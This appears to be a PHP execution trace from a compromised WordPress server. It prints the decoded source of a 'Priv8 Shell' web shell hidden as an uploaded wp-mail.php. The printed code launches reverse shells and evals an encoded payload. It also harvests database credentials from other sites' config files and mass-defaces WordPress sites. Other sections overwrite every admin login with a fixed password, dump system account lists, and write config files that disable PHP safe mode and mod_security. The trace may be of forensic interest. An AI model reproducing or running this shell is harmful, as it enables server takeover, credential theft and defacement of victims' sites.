&");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bp.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcc\') {\r\n\t\t\tcf("/tmp/bc.c",$back_connect_c);\r\n\t\t\t$▖ = ex("gcc -o /tmp/bc /tmp/bc.c");\r\n\t\t\t@unlink("/tmp/bc.c");\r\n\t\t\t$▖ .= ex("/tmp/bc ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcp\') {\r\n\t\t\tcf("/tmp/bc.pl",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.pl ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.pl")."</pre>";\r\n\t\t}\r\n\t\tif($_POST[\'p1\'] == \'bcpy\') {\r\n\t\t\tcf("/tmp/bc.py",$back_connect_p);\r\n\t\t\t$▖ = ex(which("perl")." /tmp/bc.py ".$_POST[\'p2\']." ".$_POST[\'p3\']." &");\r\n\t\t\techo "<pre class=ml1>$▖".ex("ps aux | grep bc.py")."</pre>";\r\n          }\r\n\t}\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\n// Back Connect Section END \r\nfunction actionMassuser() {\r\n\thardHeader();\r\n\techo "<center><h1>Wordpress Mass Title Changer</h1><div class=content><br>";\r\n\techo "<br><center> <iframe src=\'?title\' width=\'800\' height=\'400\'></iframe></a>";\r\n\techo \'</div>\';\r\n\thardFooter();\r\n}\r\n\r\nif (isset($_REQUEST[\'mas\'])) {\r\n    \r\n\t$hex = "7Ut6YuPGEf55A/4PE8bNyjhUkpuXFpJVXBL0LgnQeOxQDmN5gSBMZWyyuyJKIiGq8H/P7Bu5JMXTOXbzpaV6Tbs7Ozuvz8zqchmUfsLpiPA4DnC/CrfkEr75/vb2b35p+rJexWxfRSS4PHqv7dmDzx9rltIyDHxN7myfJll2lEV/nWE2PC6Dep8iL5Oob4+dRmtJhOAsMh5DHnuLWhjvgXLiIPfeuWpgz3YR5vg5ChNt72vg4KZaGlUS4GxW/VpM8dG5a1/CbBnk/OEC/n1pCviUGxiVib+KWMrWhuqiXhZCSWQWCx5Ih8e8odFPvopLAAl9rLhYsrAK49k25jyYE2KR0DgMth7cvUvCaBhjuJpB/wSv0izjVrJWqwoWE1qDH5CPt0ujuhOtt6MPewJeJdwWYvDomOetgz9fwluG8ucwGx07DPR2dKdCYEyzYESa+L+wJG51jLyM0RYB2zN2tE6TIl3bom+GgQtWxgL8qCgseKKPOcsKGClPlsgd6xYPwydQPo74MJE0zrxQRYU7lpRVpIjHQCYE37XYHW0hvHEErusCGZPeoYZXecagLxOajLQAhqdmZGOXa9KgKoNdf8O8Qv7UnkWe78r3sQI6qDNhwwO1UGPsPFjioxw+SYUhbDFzWTBxw+Iciq4PkB8yho6JD2ISj1etO8ScgIJZKmpdpdy7vrm9bH1mvZiIBWJ2glnkQzf+uo+2phHhCPVsmT9g6PbSLrPz7gM8ng4vHZjubaoZPjVDYCHBICjaKNAybR9LzwtZ/4qjgpsw4oFuUUmkBQbC1eh0UozLH1ztUPMmq8KkpjArHWi2ddtELdy2CteskogRG5ZtX0mYGK0R63wvR0A49XCO9SvjI5Mmvv/23e2N718o2BGyX089drYLrZMOGjbMg5CyqgpKVcDimD2OnGROmawaziU4q9VX/PuRr8c/hcGm3IrR979cj6MiMgtMvbDqjZpa47F812ychDFILlYabkOKqR40IK0UECjdqgMmCuQsfOJXUH32GZg8SsQ4fyVzPykDXyl14sl13s/TQVjQL33w6V/fiB+r/larQWe1k1TUJUNAqav6htYpA61Qh3lGpVYx6s5XRuHrBVzND+WSpYaFGh3FUVouvvCQzVt24ni+wfDKsWvjeV2tBZkUvkiqYjHr5C4VQnXJSXee5wUKKNKuDjlO0s5CE5lipF95FdEUAZf5P1Hw+5LiY+gjRhGi/4X4t89dFSJeaNi6gESeKxsV/VV5xTcmj4hxeHla3FqXbw47iudTuznHqo/CSrL8iqJ8AExbkdhpSD8uOowGyomWQAt68cST60CRq/6ex1udNMly6/yDPcJgRiAexTESKUkz/HW5jxY18cjyYBx5MYk5WuNA6zZcNXyUpF857JJEy4uA4H/37avXaiQXniTLLpIeykwBqzv+CAhDfWs1MXfnGZmIpE/LXPYN08EXA409NHm1MR+Bg3oM1MZIb6t/DQwOQJwgOgZlEuMs8yd5nQYDtxEhcoL3yiwuI/q/ZzWRPZe4dSPORLRd3e62LdLh/azLxe854g9i/mi8aFv4O7j+9psbS4Jh4noCLACUe2hKrwmONPe/zSj2o5v9Xkd0g249wOxW/KqXdwqkXzX0CMZxCcK/biBjr/Fk04/ADzzGyHzNHyjWac5xmkUcMRyYSXjNst02DtMgn60RbGnzMKVrueGzABnPre8gQNR9l1XUIBCHq8QlSkYirI2fvv4L8c5BjXYRW1FTOAWl0Xkyqaf3rAwiU4sGUSWGGgg1QEuvifHSAmCr2WR3c2jZP8/CXHlfs4R//aXPAzE2JkbGXl40Elc/dtqcK03xNiSmg4hy79I0ED2wVtCgFFZeqguQI2lZpC6yP2zR6lhjPiiTT5LrW4/crwC5hce6LRHkA82zsGZmTXB/GT+HutSJZL/C7PrPeE9yMUy3Fi2v/t99/0T3kQWDIuYb1+SJrBtP3rqIVYviyAE8ccup6/iYpcHO8Y5hTFmUk8nBmLBXUh9FJGvt2JoXDayou/X8yEH5HYdPvXN4+4uPafNndmhGT2WyPG2GlGHP94yWOxa0JUd93DEO4nAuG5Qeeeble4OMe7RrGczgq+gBS1fDOVEihoKtnCJoHXZQ/TH1mhkV0qSOdpOiKIJ3kk2ltt1knZyoRSdnY8m7jHBD5FFKPiJ3I4Gk/BeufU7Ae8UrnkRr/RjxmfqKSxXDUc10Fcru3jt3a+8opL9qhFc40va4aklyQYsZfPnVNG2YUEY4PkpI4tOpfOaghxv5IIOCl9uCIoOrKY68UhjJxu89UDFkSRWwe8cT5+nGEa7guowXE1LqnWf3NB7s7Htme9va2d3YhDZh/CmNcLSn2ABisLWXrevwoe3Aw/1/Rs063Lzn8SMtMDTgxxLhRMkyKIOVJI30Fae8I0DTNkKUeBQmP8PxYsMq5/HMd35BFoi6KdXFXFKpFow4cFGYeZWPLsYOSWv+z7TEyu8SAhQjxyWiaRCTHb8pGIiJBdE5PF8btI6Q29ZUq3ALdUeT+XNnk3rLuKD76o/XwEXhnRBQutlJ4uz0BH+b1ll2oPHhsLhXihn8bPoc6YFrAO3Kr/9ZpBVKHvyMzPDq9o9U+PnmTpLDanmHt00WwN/RkHnNZbzXXTUBilnbnYXWyGlBkq73cu0eTDR470sZ3NVKKVUkc8V7OycUQcLTrw==";\r\n\teval(str_rot13(gzinflate(str_rot13(base64_decode(($hex))))));\r\n    die;\r\n}\r\nif (isset($_REQUEST[\'title\'])) {\r\necho"<html>\r\n<head>\r\n<style>\r\n@import \'https://fonts.googleapis.com/css?family=Iceland\';\r\nhtml,body{\r\n\tbackground: black;\r\n\tpadding: 0;\r\n\tdirection: ltr;\r\n\tmargin: 0;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Iceland;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Iceland;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Iceland;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Iceland;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #0095ff;\r\n}\r\nform{\r\n\tmargin-top: 120px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:20px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid blue;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Iceland;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #0095ff;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Iceland;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: blue;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #0095ff;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:20px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #0095ff;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:35px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Iceland;\r\n\ttext-shadow:0px 0px 20px blue;\t\r\n}\r\n</style>";\r\n\r\nerror_reporting(0);\r\nset_time_limit(0);\r\n@clearstatcache();\r\n@ini_set(\'error_log\',NULL);\r\n@ini_set(\'log_errors\',0);\r\n@ini_set(\'max_execution_time\',0);\r\n@ini_set(\'output_buffering\',0);\r\n@ini_set(\'display_errors\', 0);\r\nif(version_compare(PHP_VERSION, \'5.3.0\', \'<\')){\r\n    set_magic_quotes_runtime(0);\r\n}\r\nfunction GrabUrl($url,$type){\r\n\r\n        $urlArray = array();\r\n\r\n        $ch = curl_init();\r\n        curl_setopt($ch, CURLOPT_URL, $url);\r\n        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);\r\n        $result = curl_exec($ch);\r\n\r\n        $regex=\'|<a.*?href="(.*?)"|\';\r\n        preg_match_all($regex,$result,$parts);\r\n        $links=$parts[1];\r\n        foreach($links as $link){\r\n            array_push($urlArray, $link);\r\n        }\r\n        curl_close($ch);\r\n\r\n        foreach($urlArray as $value){\r\n            $lol="$url$value";\r\n\t\t\tif(preg_match("#$type#is", $lol)) {\r\n\t\t\t\techo "$lol\\r\\n";\r\n\t\t\t}\r\n        }\r\n}\r\nfunction ambilKata($param, $kata1, $kata2){\r\n    if(strpos($param, $kata1) === FALSE) return FALSE;\r\n    if(strpos($param, $kata2) === FALSE) return FALSE;\r\n    $start = strpos($param, $kata1) + strlen($kata1);\r\n    $end = strpos($param, $kata2, $start);\r\n    $return = substr($param, $start, $end - $start);\r\n    return $return;\r\n}\r\necho "<center><p class=\'heading\'>Priv8 Shell Wp Mass Title Changer</p>\r\n<form method=\'post\'>\r\nLink Config: <br>\r\n<input type=\'text\' name=\'linkconf\' height=\'10\' size=\'50\' placeholder=\'http://url.com/priv_sym404/\'><br>\r\n<input type=\'submit\' style=\'width: 150px;\' name=\'gass\' value=\'Submit!!\'>\r\n</form></center>";\r\nif($_POST[\'gass\']) {\r\n\techo "<center>\r\n<form method=\'post\'>\r\nLink Config: <br>\r\n<textarea name=\'link\'>";\r\nGrabUrl($_POST[\'linkconf\'],\'wordpress\');\t\r\necho"</textarea>\r\n\r\n\t<br><div data-role = \'fieldcontain\' class = \'ui-hide-label\' style=\'float:left\'>\r\n            <label for=\'name\'>ID: </label>\r\n            <input type=\'text\' name=\'name\' id=\'id\' value=\'1\'/>\r\n        </div>\r\n        <div data-role =\'fieldcontain\' class= \'ui-hide-label\' style=\'float:left\'>\r\n            <label for=\'surname\'> TITLE: </label>\r\n            <input type=\'text\' name=\'title\' id=\'surname\' value=\'Hacked By HEx\' />\r\n        </div>\r\n\t\t        <div data-role =\'fieldcontain\' class= \'ui-hide-label\' style=\'float:left\'>\r\n            <label for=\'surname\'> POST CONTENT: </label>\r\n            <input type=\'text\' name=\'content\' id=\'surname\' value=\'Hacked by HEx | We Are Pakistani Hackers -,- Fuck You Admin\' />\r\n        </div>\r\n        <div data-role =\'fieldcontain\' class= \'ui-hide-label\' style=\'float:left\'>\r\n            <label for=\'surname\'> POSTNAME: </label>\r\n            <input type=\'text\' name=\'postname\' id=\'surname\' value=\'Hacked by HEx\' />\r\n        </div> <br>\r\n\r\n<input type=\'submit\' style=\'width: 150px;\' name=\'edittitle\' value=\'Submit!!\'>\r\n</form></center>";\r\n}\r\nif($_POST[\'edittitle\']) {\r\n\t        $title = htmlspecialchars($_POST[\'title\']);\r\n                $id = $_POST[\'id\'];\r\n                $content = $_POST[\'content\'];\r\n                $postname = $_POST[\'name\'];\r\n\t\tfunction anucurl($sites) {\r\n    \t\t$ch = curl_init($sites);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.1; rv:32.0) Gecko/20100101 Firefox/32.0");\r\n\t       \t\t  curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);\r\n\t       \t\t  curl_setopt($ch, CURLOPT_COOKIEJAR,\'cookie.txt\');\r\n\t       \t\t  curl_setopt($ch, CURLOPT_COOKIEFILE,\'cookie.txt\');\r\n\t       \t\t  curl_setopt($ch, CURLOPT_COOKIESESSION,true);\r\n\t\t\t$data = curl_exec($ch);\r\n\t\t\t\t  curl_close($ch);\r\n\t\t\treturn $data;\r\n\t\t}\r\n\t\t$link = explode("\\r\\n", $_POST[\'link\']);\r\n\t\tforeach($link as $dir_config) {\r\n                                $config = anucurl($dir_config);\r\n\t\t\t\t$dbhost = ambilkata($config,"DB_HOST\', \'","\'");\r\n\t\t\t\t$dbuser = ambilkata($config,"DB_USER\', \'","\'");\r\n\t\t\t\t$dbpass = ambilkata($config,"DB_PASSWORD\', \'","\'");\r\n\t\t\t\t$dbname = ambilkata($config,"DB_NAME\', \'","\'");\r\n\t\t\t\t$dbprefix = ambilkata($config,"table_prefix  = \'","\'");\r\n\t\t\t\t$prefix = $dbprefix."posts";\r\n\t\t\t\t$option = $dbprefix."options";\r\n\t\t\t\t$conn = mysql_connect($dbhost,$dbuser,$dbpass);\r\n\t\t\t\t$db = mysql_select_db($dbname);\r\n\t\t\t\t$q = mysql_query("SELECT * FROM $prefix ORDER BY ID ASC");\r\n\t\t\t\t$result = mysql_fetch_array($q);\r\n\t\t\t\t$id = $result[ID];\r\n\t\t\t\t$q2 = mysql_query("SELECT * FROM $option ORDER BY option_id ASC");\r\n\t\t\t\t$result2 = mysql_fetch_array($q2);\r\n\t\t\t\t$target = $result2[option_value];\r\n\t\t\t\t$update = mysql_query("UPDATE $prefix SET post_title=\'$title\',post_content=\'$content\',post_name=\'$postname\',post_status=\'publish\',comment_status=\'open\',ping_status=\'open\',post_type=\'post\',comment_count=\'1\' WHERE id=\'$id\'");\r\n\t\t\t\t$update .= mysql_query("UPDATE $option SET option_value=\'$title\' WHERE option_name=\'blogname\' OR option_name=\'blogdescription\'");\r\n\t\t\t\techo "<div style=\'margin: 5px auto;\'>";\r\n\t\t\t\tif($target == \'\') {\r\n\t\t\t\t\techo "URL: <font color=white>Error, I can\'t take the domain name</font> -> ";\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo "URL: <a href=\'$target/?p=$id\' target=\'_blank\'>$target/?p=$id</a> -> ";\r\n\t\t\t\t}\r\n\t\t\t\tif(!$update OR !$conn OR !$db) {\r\n\t\t\t\t\techo "<font color=white>MySQL Error: ".mysql_error()."</font><br>";\r\n\t\t\t\t} else {\r\n\t\t\t\t\techo "<font color=orange>Changed Succeed.</font><br>";\r\n\t\t\t\t}\r\n\t\t\t\techo "</div>";\r\n\t\t\t\tmysql_close($conn);\r\n\t\t\t}\r\n\t\t}\t\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'user\'])) {\r\necho"<html><head><title>Priv8 Shell Wp Mass User Changer</title></head>\r\n<style>\r\n@import \'https://fonts.googleapis.com/css?family=Iceland\';\r\nhtml,body{\r\n\tbackground: black;\r\n\tpadding: 0;\r\n\tdirection: ltr;\r\n\tmargin: 0;\r\n}\r\nh1{\r\n\tcolor:#16a085;\r\n\ttext-shadow:0 0 5px;\r\n\tfont-family: Iceland;\r\n}\r\n#gter{\r\n\tposition: absolute;\r\n\ttop: 0;\r\n\twidth: 100%;\r\n\ttext-align: center;\r\n\tbackground: black;\r\n\tcolor:#fff;\r\n\tpadding-top: 10px;\r\n\tpadding-bottom: 10px;\r\n\tfont-family: Iceland;\r\n\tmargin-bottom:20px;\r\n}\r\n#gter span{\r\n\tcolor:white;\r\n\tfont-size: 18px;\r\n\ttext-shadow: :0px 0px 15px #00ffff;\r\n}\r\n.f{\r\n\tcolor:white;\r\n\tfont-family: Iceland;\r\n\ttext-shadow: 0 0 15px #00ffff;\r\n\tfont-size: 21px;\r\n}\r\na{\r\n\tfont-family: Iceland;\r\n\ttext-decoration: none;\r\n\tcolor:white;\r\n\ttext-shadow:0 0 15px #0095ff;\r\n}\r\nform{\r\n\tmargin-top: 120px;\r\n}\r\ninput[type=submit]{\r\n\tfont-size:20px;\r\n\theight: 25px;\r\n\twidth: 150px;\r\n\tborder: 2px solid blue;\r\n\tcolor: white;\r\n\tbackground-color: black;\r\n\tfont-family: Iceland;\r\n}\r\ninput[type=submit]:hover{\r\n\tbox-shadow: 0 0 2px #0095ff;\r\n}\r\ninput[type=text]{\r\n\tfont-family:Iceland;\r\n\twidth: 400px;\r\n\theight: 25px;\r\n\tcolor: blue;\r\n\tbackground: #000000;\r\n\tborder: 1px solid #0095ff;\r\n\tpadding: 5px;\r\n\ttext-align: center;\r\n\tfont-size:20px;\r\n}\t\r\ninput[type=text]:focus{\r\n\tbox-shadow: 0 0 3px #0095ff;\r\n}\r\n.heading{\r\n\tcolor:white;\r\n\tfont-size:35px;\r\n\tmargin-top: 20px;\r\n\tmargin-bottom: -110px;\r\n\tfont-family:Iceland;\r\n\ttext-shadow:0px 0px 20px blue;\t\r\n}\r\n</style>\r\n</head>\r\n<body>\r\n<center>\r\n<center><p class=\'heading\'>Priv8 Shell Wp Mass User Changer</p></center>\r\n<br /><br />\r\n<form method=\'post\'>\r\n<input type=\'text\' name=\'config\' placeholder=\'Config URL Here\'>\r\n<br><br>\r\n<input type=\'submit\' name=\'ch\' value=\'Change Admin\'>\r\n</form>\r\n</center>";\r\n\r\nset_time_limit(0);\r\nerror_reporting(0);\r\nif ($_POST[\'ch\']) {\r\n    $get2 = file_get_contents($_POST[\'config\']);\r\n    preg_match_all(\'#<a href="(.*?)"#\', $get2, $config);\r\n    foreach ($config[1] as $don) {\r\n        $get = file_get_contents($_POST[\'config\'] . "/" . $don);\r\n        preg_match_all("#\'DB_HOST\', \'(.*?)\'#", $get, $host);\r\n        foreach ($host[1] as $don) {\r\n            $host = $don;\r\n        }\r\n        preg_match_all("#\'DB_PASSWORD\', \'(.*?)\'#", $get, $pass);\r\n        foreach ($pass[1] as $done) {\r\n            $password = $done;\r\n        }\r\n        preg_match_all("#\'DB_USER\', \'(.*?)\'#", $get, $user);\r\n        foreach ($user[1] as $done1) {\r\n            $user = $done1;\r\n        }\r\n        preg_match_all("#\'DB_NAME\', \'(.*?)\'#", $get, $name);\r\n        foreach ($name[1] as $done2) {\r\n            $name = $done2;\r\n        }\r\n        preg_match_all("#$table_prefix  = \'(.*?)\'#", $get, $prefix);\r\n        foreach ($prefix[1] as $done3) {\r\n            $prefix = $done3;\r\n        }\r\n        $connect = mysqli_connect($host, $user, $password, $name);\r\n        if ($connect) {\r\n            $query1 = mysqli_query($connect, "select * from " . $prefix . "options where option_name=\'siteurl\'");\r\n            while ($siteurl = mysqli_fetch_array($query1)) {\r\n                $site_url = $siteurl[\'option_value\'];\r\n            }\r\n            $query2 = mysqli_query($connect, "update " . $prefix . "users set user_login=\'pakarmy\',user_pass=\'72e94a0c077a017a6bde7db0aeb514c2\'");\r\n            if ($query2) {\r\n                echo "<center><span class=f>URL : <a href=\'$site_url/wp-login.php\' target=\'_blank\'>$site_url/wp-login.php</a><br><br>UserName : pakarmy<br><br>Password : Pakarmy@0882<br><br></span></center>";\r\n            }\r\n        }\r\n    }\r\n}\r\n echo"</body></html>";\r\n\t\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'reseller\'])) {\r\necho"<html>  <head> <meta http-equiv=\'Content-Language\' content=\'fr\'> <meta http-equiv=\'Content-Type\' content=\'text/html; charset=windows-1252\'> <title>Priv8 Shell - WHM Resellers Finder</title> <meta name=\'keywords\' content=\'WHM Resellers Finders ~Sajjad 1337 :: Rizi_haoxr :: Team \'> <meta name=\'description\' content=\'WHM Resellers Finder - coded by: ~Rizi_haxor\'> </head>  <body bgcolor=\'#000000\' style=\'text-align: center\'> <p><font size=\'6\' color=\'#0095ff\'>Priv8 Shell WHM & Resellers Finder</font></p>  <center> <table border=\'1\' width=\'50%\' cellspacing=\'0\' cellpadding=\'15\' style=\'border-width: 0px\'> \t\t<tr> \t\t\t<td background=\'http://buyshellsites.com/bg.gif\' style=\'border-style: none; border-width: medium\'> <div align=\'center\'>     <table border=\'1\' width=\'100%\' bgcolor=\'#000000\' cellpadding=\'0\' style=\'border-collapse: collapse\' bordercolor=\'#333333\'> \t<tr> \t\t \t\t<td width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#0095ff\'>Reseller</font></td> \t\t<td width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#0095ff\'>Accounts</font></td> \t\t<td width=\'100\' align=\'center\'> \t\t<font face=\'Courier New\' size=\'2\' color=\'#0095ff\'>Symlink</font></td> \t\t \t</tr> </table>   <BR>";\r\n\r\n\r\n\r\n## grabs resellerss file\r\n$lines = file("/etc/trueuserowners");\r\n\r\n\r\n## split pure resellers\'s names\r\nfor ($i = 0; $i < count($lines); $i++) {\r\n$values2 = split(\': \', $lines[$i]);\r\n$resellers[$i] = $values2[\'1\'];\r\n}\r\n\r\n## remove duplicated resellerss and empty values\r\n$resellers = array_unique($resellers);\r\n$resellers = array_filter($resellers);\r\n\r\nforeach($resellers as $reseller){\r\n\t$count = 0;\r\nfor ($i = 0; $i < count($lines); $i++) {\r\n\t\r\n\tif (strpos($lines[$i], ": $reseller") ) {\r\n    $count = $count+1;\r\n}\r\n\t\r\n}\r\n\r\nprint \'<table border="1" width="100%" bgcolor="#333333" cellpadding="0" style="border-collapse: collapse" bordercolor="#000000">\r\n\t<tr>\r\n\t\t\r\n\t\t<td width="100" align="center">\r\n\t\t<font face="Courier New" size="2" color="#0095ff">\'.$reseller.\'</font></td>\r\n\t\t<td width="100" align="center">\r\n\t\t<font face="Courier New" size="2" color="#0095ff">\'.$count.\'</font></td>\r\n\t\t<td width="100" align="center">\r\n\t\t<a href="./sym1/root/home/\'.$reseller.\'/public_html/" target="_blank"><font face="Courier New" size="2" color="#0095ff">Symlink</font></td>\r\n\r\n\t</tr>\r\n</table>\r\n\r\n\r\n\r\n<BR></table> </center> </body>  </html>\';\r\n}\r\n\r\n\r\n    die;\r\n}\r\n\r\nif (isset($_REQUEST[\'passwd\'])) {\r\n@ini_set(\'error_log\', NULL);\r\n@ini_set(\'log_errors\', 0);\r\n@ini_set(\'max_execution_time\', 0);\r\n@ini_set(\'output_buffering\', 0);\r\n@ini_set(\'display_errors\', 0);\r\n echo \'<center>\';\r\n        echo "<textarea class=\'inputz\' cols=\'90\' rows=\'20\'>";\r\n        for ($uid = 0;$uid < 60000;$uid++) {\r\n            $ara = posix_getpwuid($uid);\r\n            if (!empty($ara)) {\r\n                while (list($key, $val) = each($ara)) {\r\n                    print "$val:";\r\n                }\r\n                print "\r\n";\r\n            }\r\n        }\r\n        echo "</textarea><br><br>";\r\n    \r\n    die;\r\n}\r\nif (isset($_REQUEST[\'disabled\'])) {\r\necho "<html>\r\n\r\n<head>\r\n<meta http-equiv=\'pragma\' content=\'no-cache\'>\r\n</head><body>";\r\n\r\n$fp = fopen("php.ini","w+");\r\nfwrite($fp,"safe_mode = Off\r\ndisable_functions  =    NONE\r\nopen_basedir = OFF ");\r\necho "<center><b><font color=\'white\' size=\'4\'>[SafeMode Done]</font></center>";\r\necho ("");\r\n\r\n$fp2 = fopen(".htaccess","w+");\r\nfwrite($fp2,"\r\n<IfModule mod_security.c>\r\nKillFilterEngine Off\r\nKillFilterScanPOST Off\r\nKillFilterCheckURLEncoding Off\r\nKillFilterCheckUnicodeEncoding Off\r\n</IfModule>\r\n");\r\n\r\n\r\necho "<center><b> <font color=\'white\' size=\'4\'>[Mod_Security Done]</font></center>";\r\n    die;\r\n}\r\n// xd\r\nif( empty($_POST[\'a\']) )\r\n\tif(isset($▚) && function_exists(\'action\' . $▚))\r\n\t\t$_POST[\'a\'] = $▚;\r\n\telse\r\n\t\t$_POST[\'a\'] = \'FilesMan\';\r\nif( !empty($_POST[\'a\']) && function_exists(\'action\' . $_POST[\'a\']) )\r\n\tcall_user_func(\'action\' . $_POST[\'a\']);\r\n?>'	/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code	1	0
5	26	0	0.034074	1489368	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	1	2	'error_log'	NULL
5	26	1	0.034102	1489440
5	26	R			''
5	27	0	0.034118	1489368	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	2	2	'log_errors'	0
5	27	1	0.034136	1489440
5	27	R			'1'
5	28	0	0.034149	1489368	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	3	2	'max_execution_time'	0
5	28	1	0.034167	1489472
5	28	R			'30'
5	29	0	0.034181	1489368	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	4	2	'output_buffering'	0
5	29	1	0.034197	1489440
5	29	R			FALSE
5	30	0	0.034210	1489368	ini_set	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	5	2	'display_errors'	0
5	30	1	0.034226	1489440
5	30	R			''
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	6	$▘ = TRUE
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	7	$▜ = 'utf-8'
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	8	$▚ = 'FilesMan'
5	31	0	0.034277	1489368	md5	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	9	1	'python-requests/2.25.1'
5	31	1	0.034293	1489464
5	31	R			'ecd862b3d0595af0a0b03f511e800938'
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	9	$▙ = 'ecd862b3d0595af0a0b03f511e800938'
5	32	0	0.034325	1489432	md5	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	10	1	'localhost'
5	32	1	0.034339	1489528
5	32	R			'421aa90e079fa326b6494f812ad13e79'
5	33	0	0.034356	1489432	md5	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	11	1	'localhost'
5	33	1	0.034370	1489528
5	33	R			'421aa90e079fa326b6494f812ad13e79'
5	34	0	0.034384	1489496	prototype	1		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	11	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
5		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	367	_COOKIE['421aa90e079fa326b6494f812ad13e79key'] = 'ecd862b3d0595af0a0b03f511e800938'
6	35	0	0.034418	1489872	setcookie	0		/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	368	2	'421aa90e079fa326b6494f812ad13e79key'	'ecd862b3d0595af0a0b03f511e800938'
6	35	1	0.034439	1490072
6	35	R			TRUE
5	34	1	0.034452	1490008
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	15	_POST['charset'] = 'utf-8'
4		A						/var/www/html/uploads/wp-mail.php(3) : eval()'d code(1) : eval()'d code(1) : eval()'d code	23	$hex = 'SJBEWMMwFIWf/RfHQ8gKzrHnplKmYXuUKqKMRJrQpdORtSkJJrL/YdrqcUK55H7nnnuu7SZpt9NlEhUv+XdQnPpjn3Ebx7j6BmdwOCgz0ruMHWx7yEvHKw+vpeF6bb9LrqDLUx6EQYmvnbRPSGXWM9NJVlKgGnZsmRKSMVuKTW9xO+s0Tql8qFTLi/6uPm0rsUquDsBNhO4wNDzjFrNuJZpRgxgp7qLi+fU9X54TJAB5h8lVeVXvUra4QU52jJAt6nfnhJImqKPiMX9L58tjgP4nY7e4FCbjNM/3uqiF46rVetGn+DOg0ouidOn25n9pPEvh95KEmWzGFFmlu5SeIZot3qZCzjZfMLrS13mm+oTzjCQ4nWP6AQ=='
